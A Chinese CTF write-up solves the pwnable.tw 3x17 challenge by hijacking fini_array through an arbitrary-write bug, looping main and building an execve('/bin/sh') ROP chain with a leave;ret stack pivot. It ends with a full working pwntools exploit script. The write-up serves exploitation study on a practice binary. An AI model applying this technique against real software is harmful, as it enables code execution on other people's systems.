前言
最近在pwnable做题遇到一道静态编译的二进制文件,并且是去除符号表的,从这道题可以学习到main函数的由来,以及start函数的部分知识。
题目
这里以pwnable.tw的3x17的题目作为例子。
检查保护
题目仅仅开启了NX的保护
可以看到题目采用的是静态链接
•静态链接:静态链接需要在编译链接的时候将需要执行的代码直接拷贝到调用处,这样可以做到程序发布的时候不需要依赖库,相反的程序占用的内存可能相对较大
•动态链接:动态链接则是当需要调用时,再将库中的代码加载到程序中去,在编译的时候只需要用符号和参数去代替这些代码。这样程序编译出来的内存较小,但是需要将库一起发布出去,缺少库则可能运行不了。
运行程序
程序需要输入地址,在输入数据,从这可以猜出程序有个任意地址写的漏洞。
拖入IDA分析
在使用ida逆向分析的时候可以发现,函数名已经被去除了,只剩下函数的地址。
在使用gdb去调试程序时,也可以看到符号表被去除
寻找主要的函数
由于我们在运行程序时可以看到提示的字符,因此可以通过字符去寻找主要的函数
双击点击字符
可以看到提示字符是保存在buf数组中,选中buf数组,按下x键,寻找数组的交叉引用
就进入到了主要函数的相关逻辑,程序很简单,输入地址,可以写入18个字节,即任意地址写的漏洞,但是程序去除了符号表,因此像got表之类的地址我们找不到,因此这里引出start函数
start函数
其实main函数(主函数)即不是函数的入口点,也不是函数的起始点
这里借用一张图,可以看到
start - > __libc_start_main -> main
start函数调用了__libc_start_main函数,__libc_start_main函数调用了main函数
使用命令readelf -h *,会显示入口点地址,该地值即为start函数的地址
在64位程序下,前六个参数是通过寄存器传参的,而rdi寄存器中保存的是main函数的地址,r8寄存器中保存的是__libc_csu_fini的地址,rcx寄存器中保存的是__libc_csu_init的地址,接着调用__libc_start_main函数
start函数的汇编代码
.text:0000000000401A50 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A50 ; __unwind {
.text:0000000000401A50 xor ebp, ebp #清除ebp寄存器的值
.text:0000000000401A52 mov r9, rdx
.text:0000000000401A55 pop rsi
.text:0000000000401A56 mov rdx, rsp
.text:0000000000401A59 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D push rax
.text:0000000000401A5E push rsp
.text:0000000000401A5F mov r8, offset sub_402960 #__libc_csu_fini
.text:0000000000401A66 mov rcx, offset loc_4028D0#__libc_csu_init
.text:0000000000401A6D mov rdi, offset sub_401B6D #main
.text:0000000000401A74 db 67h
.text:0000000000401A74 call sub_401EB0 #调用__libc_start_main
.text:0000000000401A7A hlt
.text:0000000000401A7A ; } // starts at 401A50
.text:0000000000401A7A start endp
_libcstart_main函数
int __libc_start_main( int (*main) (int, char * *, char * *),
int argc, char * * ubp_av,
void (*init) (void),
void (*fini) (void),
void (*rtld_fini) (void),
void (* stack_end));
从该图可以得知__libc_csu_init是在main函数前调用的,__libc_csu_fini是在main函数后调用的
接着我们我们来看看__libc_csu_fini函数,因为该该函数是在main函数后调用,程序存在一个任意地址写的漏洞,若我们通过该漏洞去修改__libc_csu_fini函数则有可能去修改程序执行的流程
_libccsu_fini函数的汇编代码
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100 #fini_array数组的结束地址
.text:0000000000402968 lea rbp, off_4B40F0 #fini_array
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp #获得数组的长度
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3 #0x10>>3 = 2
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1] # 2-1 = 1
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
#即先调用fini_array[1]再调用fini_array[0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C sub_402960 endp
程序逻辑还是比较清楚的,先是取0x4b4100地址存入rax寄存器中,再取0x4b40f0地址存入rbp寄存器中,这两个地址刚好是fini_array数组的范围,该数组可以存放两个地址,在这称为fini_array[0]与fini_array[1],通过代码可以看出,程序是先调用了fini_array[1]再去调用fini_array[0]。
我们用gdb跟踪调试一下
lea rax,[rip+0xb1798] #0x4B4100
该地值为fini_array数组已经结束的地址,为后续计算数组长度做准备
lea rbp,[rip+0xb1781] #0x4B40F0
将数组的起始地址存入rbp中
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
可以看到rbx寄存器相当于存放的是数组的下标值,由于数组存放的内容大小为8个字节,因此要rbx*8,先调用fini_array[1],后面则是对下标做减1的操作,接着调用fini_array[0]的内容,当下标为-1时跳出循环
至此,我们已经简略的分析了__libc_csu_fini函数的执行流程,简单来说就是执行fini_array数组的内容,先执行fini_array[1]接着执行fini_array[0],由于程序存在任意地址写的漏洞,那么就可以修改fini_array数组的内容,让程序执行我们想执行的内容。
思路
•利用任意地址写的漏洞修改fini_array数组的内容
•将fini_array[1]的内容修改为main函数的地址,将fini_array[0]的内容修改为__libc_csu_fini的地址,这样可以达到无限制的任意地址写
main
-> 调用__libc_csu_fini
-> 调用main函数(fini_array[0])
-> 调用__libc_csu_fini(fini_array[1])
-> 调用main函数(fini_array[0])
........
•利用无限制的任意地址写在fini_array+0x10构造ROP链
•利用栈转移,将栈转移到fini_array+0x10从而触发ROP链
脚本分析
将array_fini[0]修改为__libc_csu_fini的地址
将array_fini[1]修改为main函数的地址
ropchain(fini_array,p64(fini)+p64(main))
因为程序中没有/bin/sh\x00,因此挑一段可写段写入/bin/sh\x00,这里我采用的是bss段
ropchain(0x4b92e0,'/bin/sh\x00') #0x4b92e0是bss段的地址
这里我选择利用调用59号中断取获得shell,64位程序采用寄存器传参,因此我们需要找到相应寄存器的地址构造ROP链,rax寄存器需要传入调用号,rdi则需要传入/bin/sh\x00的地址,其余参数为0
ropchain(fini_array+0x10,p64(rax_ret))
ropchain(fini_array+0x18,p64(59))
ropchain(fini_array+0x20,p64(rdi_ret))
ropchain(fini_array+0x28,p64(0x4b92e0))
ropchain(fini_array+0x30,p64(rsi_ret))
ropchain(fini_array+0x38,p64(0))
ropchain(fini_array+0x40,p64(rdx_ret))
ropchain(fini_array+0x48,p64(0))
ropchain(fini_array+0x50,p64(syscall))
ropchain(fini_array,p64(leave_ret)+p64(ret))
#等价于 execve('/bin/sh\x00',0,0);
由于32位与64位的中断调用号不一样,因此需要查询一下,这个网站的地址收集了64位与32位的中断调用号,非常实用。
https://blog.csdn.net/qq_29343201/article/details/52209588
59调用号实则是调用了execve函数
#define __NR_execve 59
采用leave;ret进行栈转移
ropchain(fini_array,p64(leave_ret)+p64(ret))
因为rbp已经存入了fini_array数组的首地址,因此利用leave;ret可以进行栈转移,使得rip指向fini_array+8的位置,可能会疑惑为什么是fini_array+8而不是fini_array,是因为在mov rsp,rbp时,此时的rsp指针已经时指向了fini_array的位置,接着pop rbp使得rsp+8,因此此时的rsp指针指向的位置为fini_array+8的位置,可能看解释不太清楚,那就看下调试的结果
leave 相当于 mov rsp,rbp
pop rbp
ret 相当于 pop rip
在执行leave指令之前,此时的rbp的地址为0x4b98e0
在执行leave指令之后,此时的rsp的地址为0x4b40f8
但是我们构造的ROP链的地址为0x4b4100,因此还需要将栈抬高0x8因此需要将array_fini[1]的数组内容修改为ret指令,使得栈地址可以抬高0x8达到我们构造的ROP链的地址
ropchain(fini_array,p64(leave_ret)+p64(ret))#即这里为什么需要多加一个ret指令
完整exp
虽然题目是pwnable.tw的,但是比较是国外的平台,比较慢,因此这里我选择去BUUCTF这个平台去跑脚本,BUU里面有很多往年或者是新题目,值得去刷一刷
from pwn import *
sh = process("./pwn")
#sh = remote("node3.buuoj.cn",26554)
main =0x401B6D
fini_array =0x4B40F0
fini =0x402960
syscall =0x4022b4
rax_ret =0x41e4af
rdi_ret =0x401696
rsi_ret =0x406c30
rdx_ret =0x446e35
leave_ret =0x401c4b
ret =0x401016
def ropchain(addr,data):
sh.recvuntil("addr:")
sh.send(str(addr))
sh.recvuntil("data:")
sh.send(data)
ropchain(fini_array,p64(fini)+p64(main))
ropchain(0x4b92e0,'/bin/sh\x00')
ropchain(fini_array+0x10,p64(rax_ret))
ropchain(fini_array+0x18,p64(59))
ropchain(fini_array+0x20,p64(rdi_ret))
ropchain(fini_array+0x28,p64(0x4b92e0))
ropchain(fini_array+0x30,p64(rsi_ret))
ropchain(fini_array+0x38,p64(0))
ropchain(fini_array+0x40,p64(rdx_ret))
ropchain(fini_array+0x48,p64(0))
ropchain(fini_array+0x50,p64(syscall))
attach(sh)
ropchain(fini_array,p64(leave_ret)+p64(ret))
sh.interactive()
结语
题目本身不是很难,但是通过这个题目我们可以学习到main函数的由来和start函数以及__libc_csu_fini函数中存在可以利用的点,还可以巩固系统调用和栈转移的知识,是个非常不错的题目。
参考链接
https://blog.csdn.net/gettogetto/article/details/52251753
https://bbs.pediy.com/thread-259298.htm
http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html
https://www.freebuf.com/articles/system/226003.html
https://blog.csdn.net/qq_29343201/article/details/52209588
实验推荐
PWN综合练习(一)
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814131600001
CTF PWN进阶训练实战,尝试溢出一个URL解码程序